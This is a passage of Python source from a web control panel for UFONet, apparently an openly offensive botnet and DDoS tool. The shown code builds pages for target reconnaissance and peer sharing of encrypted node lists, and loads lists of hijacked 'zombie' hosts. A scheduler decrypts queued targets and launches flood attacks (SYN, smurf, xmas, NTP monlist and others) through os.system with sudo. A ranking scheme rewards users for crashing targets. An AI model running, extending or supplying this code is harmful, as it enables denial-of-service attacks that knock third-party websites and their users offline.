  1802. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1803. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1804. <br>
  1805. <center>
  1806. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1807. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology, that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network, always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  1808. <td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td>
  1809. </tr></table>
  1810. <hr><br>
  1811. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
  1812. <td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
  1813. <option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
  1814. <option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
  1815. <option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
  1816. </select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1817. def html_abduction(self):
  1818. return self.pages["/header"] + """<script language="javascript">
  1819. function Requests() {
  1820. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1821. }
  1822. function Start(){
  1823. target=document.getElementById("target").value
  1824. String.prototype.startsWith = function(prefix){
  1825. return this.indexOf(prefix) === 0;
  1826. }
  1827. if(target.startsWith("http")){
  1828. params="target="+escape(target)
  1829. }else{
  1830. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  1831. return
  1832. }
  1833. runCommandX("cmd_abduction",params)
  1834. }
  1835. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1836. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1837. <br>
  1838. <center>
  1839. <table cellpadding="5" cellspacing="5"><tr>
  1840. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  1841. <td>
  1842. <pre>
  1843. This feature will provide you information about target's web server.
  1844. You can use this before to attack to be more effective.
  1845. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1846. <hr>
  1847. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1848. <hr>
  1849. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1850. </pre>
  1851. </td></tr></table>
  1852. <hr><br>
  1853. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1854. def html_blackholes(self):
  1855. return self.pages["/header"] + """<script language="javascript">
  1856. function Decrypt(){
  1857. blackhole_key=document.getElementById("blackhole_key").value
  1858. if(blackhole_key == "") {
  1859. window.alert("You need to enter a valid key (provided by someone)");
  1860. return
  1861. }else{
  1862. params="blackhole_key="+escape(blackhole_key)
  1863. runCommandX("cmd_decrypt",params)
  1864. document.getElementById("nb1").style.display = "none";
  1865. }
  1866. }
  1867. </script>
  1868. <script language="javascript">
  1869. function RefreshBlackhole(){
  1870. blackholes_source=document.getElementById("blackholes_source").value
  1871. if(blackholes_source == "") {
  1872. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1873. return
  1874. }else{
  1875. params="blackholes_source="+escape(blackholes_source)
  1876. runCommandX("cmd_refresh_blackholes",params)
  1877. document.getElementById("nb1").style.display = "none";
  1878. setTimeout("location.reload()", 10000)
  1879. }
  1880. }
  1881. </script>
  1882. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1883. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1884. <br>
  1885. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1886. <td>Blackhole/IP:</td>
  1887. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  1888. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1889. <hr>
  1890. <table cellpadding="5" cellspacing="5"><tr>
  1891. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  1892. <table cellpading="5" cellspacing="10"><tr><td>
  1893. <form method='GET'>
  1894. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1895. </td></tr><tr><td>
  1896. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1897. </form>
  1898. </td></tr></table></td></tr></table>
  1899. <hr><br>
  1900. </center>
  1901. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1902. <div id="cmdOut"></div>
  1903. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1904. """ + self.pages["/footer"]
  1905. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1906. sep = wargames_msg_sep
  1907. flag_ufosyn = None
  1908. flag_spray = None
  1909. flag_smurf = None
  1910. flag_xmas = None
  1911. flag_nuke = None
  1912. flag_tachyon = None
  1913. flag_monlist = None
  1914. for job in wargames_engage_list:
  1915. job_t2 = job.rsplit(sep, 1)[0]
  1916. job_creation = job_t2.rsplit(sep, 1)[0]
  1917. job_target = job_t2.rsplit(sep, 1)[1]
  1918. job_estimated = job.rsplit(sep, 1)[1]
  1919. self.decrypt(self.crypto_key, job_estimated)
  1920. if self.decryptedtext:
  1921. job_estimated_dec = self.decryptedtext
  1922. else:
  1923. job_estimated_dec = ""
  1924. self.decryptedtext = ""
  1925. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1926. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1927. try:
  1928. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  1929. except:
  1930. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1931. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1932. self.decrypt(self.crypto_key, job_target)
  1933. if self.decryptedtext:
  1934. job_target_dec = self.decryptedtext
  1935. else:
  1936. job_target_dec = ""
  1937. self.decryptedtext = ""
  1938. if job_target_dec is not "":
  1939. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1940. try: # read global army supply (json)
  1941. with open(self.mothership_supplycfg_file) as data_file:
  1942. data = json.load(data_file)
  1943. except:
  1944. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  1945. with open(self.mothership_supplycfg_file, "w") as f:
  1946. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  1947. with open(self.mothership_supplycfg_file) as data_file:
  1948. data = json.load(data_file)
  1949. self.supply_botnet = data["botnet"]
  1950. self.supply_loic = data["loic"]
  1951. self.supply_loris = data["loris"]
  1952. self.supply_ufosyn = data["ufosyn"]
  1953. self.supply_spray = data["spray"]
  1954. self.supply_smurf = data["smurf"]
  1955. self.supply_xmas = data["xmas"]
  1956. self.supply_nuke = data["nuke"]
  1957. self.supply_tachyon = data["tachyon"]
  1958. self.supply_monlist = data["monlist"]
  1959. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1960. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  1961. cmd = ""
  1962. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1963. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1964. if int(self.supply_monlist) > 0:
  1965. cmd += "--monlist " +str(self.supply_monlist)+ " "
  1966. flag_monlist = True
  1967. if int(self.supply_tachyon) > 0:
  1968. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  1969. flag_tachyon = True
  1970. if int(self.supply_nuke) > 0:
  1971. cmd += "--nuke " +str(self.supply_nuke)+ " "
  1972. flag_nuke = True
  1973. if int(self.supply_xmas) > 0:
  1974. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1975. flag_xmas = True
  1976. if int(self.supply_smurf) > 0:
  1977. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1978. flag_smurf = True
  1979. if int(self.supply_spray) > 0:
  1980. cmd += "--spray " +str(self.supply_spray)+ " "
  1981. flag_spray = True
  1982. if int(self.supply_ufosyn) > 0:
  1983. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1984. flag_ufosyn = True
  1985. if int(self.supply_loris) > 0:
  1986. cmd += "--loris " +str(self.supply_loris)+ " "
  1987. if int(self.supply_loic) > 0:
  1988. cmd += "--loic " +str(self.supply_loic)+ " "
  1989. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1990. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1991. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  1992. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  1993. runcmd = cmd + " "
  1994. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1995. print("[Info] [Wargames] Running command:", runcmd, "\n")
  1996. os.system(runcmd) # launch it!
  1997. if "!!!" in job: # remove it from queue (unjob)
  1998. f = open(self.wargames_file, "r")
  1999. ls = f.readlines()
  2000. f.close()
  2001. f = open(self.wargames_file, "w")
  2002. for l in ls:
  2003. if str(l) != str(job):
  2004. f.write(l)
  2005. else:
  2006. job = re.sub('[!!!]', '', job)
  2007. f.write(job)
  2008. f.close()
  2009. def extract_ranking_table(self):
  2010. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  2011. ls = f.readlines()
  2012. f.close()
  2013. if not ls: # not data on grid.txt
  2014. return
  2015. ranking_items={}
  2016. ranking_key = crypto_key
  2017. nodec_text = "Anonymous"
  2018. nodec_num = 0
  2019. self.ranking_grid_total = 0
  2020. try:
  2021. for j in ls:
  2022. if grid_msg_sep in j:
  2023. self.ranking_grid_total = self.ranking_grid_total + 1
  2024. m = j.split(grid_msg_sep)
  2025. ranking_nickname = m[0] # nickname
  2026. self.decrypt(ranking_key, ranking_nickname)
  2027. if self.decryptedtext:
  2028. ranking_nickname = str(self.decryptedtext)
  2029. else:
  2030. ranking_nickname = nodec_text
  2031. if ranking_nickname == "Anonymous":
  2032. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  2033. self.decryptedtext = "" # clean decryptedtext buffer
  2034. ranking_ranking = m[1] # ranking
  2035. self.decrypt(ranking_key, ranking_ranking)
  2036. if self.decryptedtext:
  2037. try:
  2038. ranking_ranking = int(self.decryptedtext)
  2039. except:
  2040. ranking_ranking = nodec_num
  2041. else:
  2042. ranking_ranking = nodec_num
  2043. ranking_items[ranking_nickname] = ranking_ranking
  2044. except:
  2045. ranking_nickname = "Anonymous"
  2046. ranking_ranking = 0
  2047. ranking_items[ranking_nickname] = ranking_ranking
  2048. self.top_rookie = []
  2049. self.top_mercenary = []
  2050. self.top_bandit = []
  2051. self.top_ufommander = []
  2052. self.top_ufoleet = []
  2053. for k, v in ranking_items.items():
  2054. if v is 0: # not any data (or decryption allowed) on grid so discard
  2055. pass
  2056. if v is 1: # add this player as a rookie
  2057. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  2058. self.top_rookie.append(k)
  2059. elif v is 2: # add this player as a mercenary
  2060. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  2061. self.top_mercenary.append(k)
  2062. elif v is 3: # add this player as a bandit
  2063. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  2064. self.top_bandit.append(k)
  2065. elif v is 4: # add this player as a ufommander
  2066. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  2067. self.top_ufommander.append(k)
  2068. elif v is 5: # add this player as a ufoleet
  2069. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  2070. self.top_ufoleet.append(k)
  2071. else: # add this player as unknown
  2072. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  2073. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  2074. for p in top5: # extract best players
  2075. if self.ranking_top5_player1 == "Anonymous":
  2076. self.ranking_top5_player1 = p
  2077. elif self.ranking_top5_player2 == "Anonymous":
  2078. self.ranking_top5_player2 = p
  2079. elif self.ranking_top5_player3 == "Anonymous":
  2080. self.ranking_top5_player3 = p
  2081. elif self.ranking_top5_player4 == "Anonymous":
  2082. self.ranking_top5_player4 = p
  2083. elif self.ranking_top5_player5 == "Anonymous":
  2084. self.ranking_top5_player5 = p
  2085. if self.ranking == "Rookie":
  2086. shuffle(self.top_rookie) # shuffle for different results
  2087. top3 = self.top_rookie[:3]
  2088. elif self.ranking == "Mercenary":
  2089. shuffle(self.top_mercenary)
  2090. top3 = self.top_mercenary[:3]
  2091. elif self.ranking == "Bandit":
  2092. shuffle(self.top_bandit)
  2093. top3 = self.top_bandit[:3]
  2094. elif self.ranking == "UFOmmander!":
  2095. shuffle(self.top_ufommander)
  2096. top3 = self.top_ufommander[:3]
  2097. elif self.ranking == "UFOl33t!":
  2098. shuffle(self.top_ufoleet)
  2099. top3 = self.top_ufoleet[:3]
  2100. for p in top3: # extract similar player
  2101. if self.ranking_similar_player1 == "Anonymous":
  2102. self.ranking_similar_player1 = p
  2103. elif self.ranking_similar_player2 == "Anonymous":
  2104. self.ranking_similar_player2 = p
  2105. elif self.ranking_similar_player3 == "Anonymous":
  2106. self.ranking_similar_player3 = p
  2107. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  2108. shuffle(top1) # shuffle for different results
  2109. top1 = random.choice(top1).strip() # extract random player
  2110. self.ranking_top1_player1 = top1
  2111. def __init__(self):
  2112. self.crypto_key = crypto_key # set default symmetric crypto key
  2113. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  2114. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  2115. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  2116. self.board_warning = "" # set initial (str) board warning message
  2117. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  2118. self.links_file = 'data/links.txt' # set source path to retrieve links
  2119. self.streams_file = 'data/streams.txt' # set source path to retrieve streams
  2120. self.games_file = 'data/games.txt' # set source path to retrieve games
  2121. self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
  2122. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  2123. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  2124. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  2125. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  2126. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  2127. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  2128. self.news = "data/news.txt" # set source path to retrieve server news
  2129. self.missions = "data/missions.txt" # set source path to retrieve server missions
  2130. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  2131. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  2132. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  2133. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  2134. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  2135. self.ranking = "Rookie Star" # set starting rank
  2136. self.decryptedtext = "" # set buffer for decryption
  2137. self.encryptedtext = "" # set buffer for encryption
  2138. self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  2139. self.blackhole = default_blackhole # set default blackhole
  2140. self.blackholes_status = "Not connected!" # set default status for blackholes
  2141. self.blackholes_status_color = "red" # set default status color for blackholes
  2142. self.referer = 'http://127.0.0.1/'
  2143. self.mothershipname = "core/txt/shipname.txt"
  2144. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  2145. self.favicon_img = open("core/images/favicon.txt").read()
  2146. self.mothership_img = open("core/images/mothership.txt").read()
  2147. self.commander_img = open("core/images/commander.txt").read()
  2148. self.board_img = open("core/images/board.txt").read()
  2149. self.aliens_img = open("core/images/aliens.txt").read()
  2150. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  2151. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  2152. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  2153. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  2154. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  2155. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  2156. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  2157. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  2158. self.alien9_img = open("core/images/aliens/alien9.txt").read()
  2159. self.alien10_img = open("core/images/aliens/alien10.txt").read()
  2160. self.alien11_img = open("core/images/aliens/alien11.txt").read()
  2161. self.alien12_img = open("core/images/aliens/alien12.txt").read()
  2162. self.alien13_img = open("core/images/aliens/alien13.txt").read()
  2163. self.ranking_grid_total = 0
  2164. self.ranking_grid_rookie = 0
  2165. self.ranking_grid_mercenary = 0
  2166. self.ranking_grid_bandit = 0
  2167. self.ranking_grid_ufommander = 0
  2168. self.ranking_grid_ufoleet = 0
  2169. self.ranking_grid_unknown = 0
  2170. self.ranking_top5_player1 = "Anonymous"
  2171. self.ranking_top5_player2 = "Anonymous"
  2172. self.ranking_top5_player3 = "Anonymous"
  2173. self.ranking_top5_player4 = "Anonymous"
  2174. self.ranking_top5_player5 = "Anonymous"
  2175. self.ranking_similar_player1 = "Anonymous"
  2176. self.ranking_similar_player2 = "Anonymous"
  2177. self.ranking_similar_player3 = "Anonymous"
  2178. self.ranking_top1_player1 = "Anonymous"
  2179. f = open(self.mothershipname) # extract ship name
  2180. self.mothership_id = f.read()
  2181. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  2182. f.close()
  2183. f = open(self.release_date_file) # extract release creation datetime
  2184. self.release_date = f.read()
  2185. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  2186. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  2187. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  2188. self.trans_5C = self.trans_5C.encode("latin-1")
  2189. self.trans_36 = self.trans_36.encode("latin-1")
  2190. f.close()
  2191. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  2192. self.blackholes_text = f.read()
  2193. f.close()
  2194. f = open(self.blackholes)
  2195. self.blackholes_block = f.readlines()
  2196. f.close()
  2197. self.list_blackholes = []
  2198. for b in self.blackholes_block:
  2199. self.list_blackholes.append(b)
  2200. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
  2201. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  2202. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  2203. else:
  2204. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  2205. f = open(self.news) # double extract news
  2206. self.news_text = f.read()
  2207. f.close()
  2208. f = open(self.news)
  2209. self.news_block = f.readlines()
  2210. f.close()
  2211. self.list_news = []
  2212. for n in self.news_block:
  2213. self.list_news.append(n)
  2214. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  2215. if self.news_datetime == self.release_date_file: # never connected to feeds
  2216. self.news_status_color = "red" # set status color for news to 'red'
  2217. else:
  2218. self.news_status_color = "green" # set status color for news to 'green'
  2219. f = open(self.board_file) # double extract board
  2220. self.moderator_text = f.read()
  2221. f.close()
  2222. f = open(self.board_file)
  2223. self.moderator_block = f.readlines()
  2224. f.close()
  2225. self.list_moderator = []
  2226. for n in self.moderator_block:
  2227. self.list_moderator.append(n)
  2228. f = open(self.grid_file) # double grid board
  2229. self.grid_text = f.read()
  2230. self.ranking_text = f.read() # ranking data is extracted from grid
  2231. f.close()
  2232. f = open(self.grid_file)
  2233. self.grid_block = f.readlines()
  2234. f.close()
  2235. self.list_grid = []
  2236. for n in self.grid_block:
  2237. self.list_grid.append(n)
  2238. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  2239. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  2240. self.ranking_status_color = "red" # set status color for ranking to 'red'
  2241. else:
  2242. self.ranking_status_color = "green" # set status color for ranking to 'green'
  2243. f = open(self.wargames_file) # double wargames board
  2244. self.wargames_text = f.read()
  2245. f.close()
  2246. f = open(self.wargames_file)
  2247. self.wargames_block = f.readlines()
  2248. f.close()
  2249. self.list_wargames = []
  2250. for n in self.wargames_block:
  2251. self.list_wargames.append(n)
  2252. f = open(self.links_file) # double links extraction
  2253. self.links_text = f.read()
  2254. f.close()
  2255. f = open(self.links_file)
  2256. self.links_block = f.readlines()
  2257. f.close()
  2258. self.list_links = []
  2259. for n in self.links_block:
  2260. self.list_links.append(n)
  2261. f = open(self.globalnet_file) # double globalnet extraction
  2262. self.globalnet_text = f.read()
  2263. f.close()
  2264. f = open(self.globalnet_file)
  2265. self.globalnet_block = f.readlines()
  2266. f.close()
  2267. self.list_globalnet = []
  2268. for n in self.globalnet_block:
  2269. self.list_globalnet.append(n)
  2270. f = open(self.streams_file) # double streams extraction
  2271. self.streams_text = f.read()
  2272. f.close()
  2273. f = open(self.streams_file)
  2274. self.streams_block = f.readlines()
  2275. f.close()
  2276. self.list_streams = []
  2277. for n in self.streams_block:
  2278. self.list_streams.append(n)
  2279. f = open(self.missions) # double extract missions
  2280. self.missions_text = f.read()
  2281. f.close()
  2282. f = open(self.missions)
  2283. self.missions_block = f.readlines()
  2284. f.close()
  2285. self.list_missions = []
  2286. for m in self.missions_block:
  2287. self.list_missions.append(m)
  2288. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  2289. if self.missions_datetime == self.release_date_file: # never connected to feeds
  2290. self.missions_status_color = "red" # set status color for missions to 'red'
  2291. else:
  2292. self.missions_status_color = "green" # set status color for missions to 'green'
  2293. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  2294. data = json.load(stats_json_file)
  2295. stats_json_file.close()
  2296. self.abductor = Abductor(self) # call abductor for data size conversor
  2297. self.aflying = data["flying"]
  2298. self.ascanner = data["scanner"]
  2299. self.atransferred = data["transferred"]
  2300. self.amax_chargo = data["max_chargo"]
  2301. self.amissions = data["missions"]
  2302. self.acompleted = data["completed"]
  2303. self.aloic = data["loic"]
  2304. self.aloris = data["loris"]
  2305. self.aufosyn = data["ufosyn"]
  2306. self.aspray = data["spray"]
  2307. self.asmurf = data["smurf"]
  2308. self.axmas = data["xmas"]
  2309. self.anuke = data["nuke"]
  2310. self.atachyon = data["tachyon"]
  2311. self.amonlist = data["monlist"]
  2312. self.tcrashed = data["crashed"]
  2313. if int(self.acompleted) > 0: # check for attacks completed
  2314. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  2315. else:
  2316. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  2317. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  2318. self.ranking = "Rookie"
  2319. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  2320. self.ranking = "Mercenary"
  2321. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  2322. self.ranking = "Bandit"
  2323. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  2324. self.ranking = "UFOmmander!"
  2325. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  2326. self.ranking = "UFOl33t!"
  2327. f = open(self.zombies_file)
  2328. self.zombies = f.readlines()
  2329. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2330. self.list_zombies = []
  2331. for zombie in self.zombies:
  2332. t = urlparse(zombie)
  2333. name_zombie = t.netloc
  2334. if "www." in name_zombie:
  2335. name_zombie = name_zombie.replace("www.","")
  2336. self.list_zombies.append(name_zombie)
  2337. self.num_zombies = str(len(self.zombies))
  2338. f.close()
  2339. f = open(self.aliens_file)
  2340. self.aliens = f.readlines()
  2341. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2342. self.list_aliens = []
  2343. for alien in self.aliens:
  2344. t = urlparse(alien)
  2345. name_alien = t.netloc
  2346. if "www." in name_alien:
  2347. name_alien = name_alien.replace("www.","")
  2348. self.list_aliens.append(name_alien)
  2349. self.num_aliens = str(len(self.aliens))
  2350. f.close()
  2351. f = open(self.droids_file)
  2352. self.droids = f.readlines()
  2353. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2354. self.list_droids = []
  2355. for droid in self.droids:
  2356. t = urlparse(droid)
  2357. name_droid = t.netloc
  2358. if "www." in name_droid:
  2359. name_droid = name_droid.replace("www.","")
  2360. self.list_droids.append(name_droid)
  2361. self.num_droids = str(len(self.droids))
  2362. f.close()
  2363. f = open(self.ucavs_file)
  2364. self.ucavs = f.readlines()
  2365. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2366. self.list_ucavs = []
  2367. for ucav in self.ucavs:
  2368. t = urlparse(ucav)
  2369. name_ucav = t.netloc
  2370. if "www." in name_ucav:
  2371. name_ucav = name_ucav.replace("www.","")
  2372. self.list_ucavs.append(name_ucav)
  2373. self.num_ucavs = str(len(self.ucavs))
  2374. f.close()
  2375. f = open(self.rpcs_file)
  2376. self.rpcs = f.readlines()
  2377. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2378. self.list_rpcs = []
  2379. for rpc in self.rpcs:
  2380. t = urlparse(rpc)
  2381. name_rpc = t.netloc
  2382. if "www." in name_rpc:
  2383. name_rpc = name_rpc.replace("www.","")
  2384. self.list_rpcs.append(name_rpc)
  2385. self.num_rpcs = str(len(self.rpcs))
  2386. f.close()
  2387. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  2388. f = open(self.wargames_file, "r")
  2389. ls = f.readlines()
  2390. f.close()
  2391. self.supply_wargames = 0
  2392. self.wargames_engage_list = []
  2393. for l in ls:
  2394. if "!!!" in l:
  2395. self.wargames_engage_list.append(l)
  2396. self.supply_wargames = self.supply_wargames + 1
  2397. if self.supply_wargames > 0:
  2398. if self.supply_wargames == 1:
  2399. c_supply = "wargame"
  2400. else:
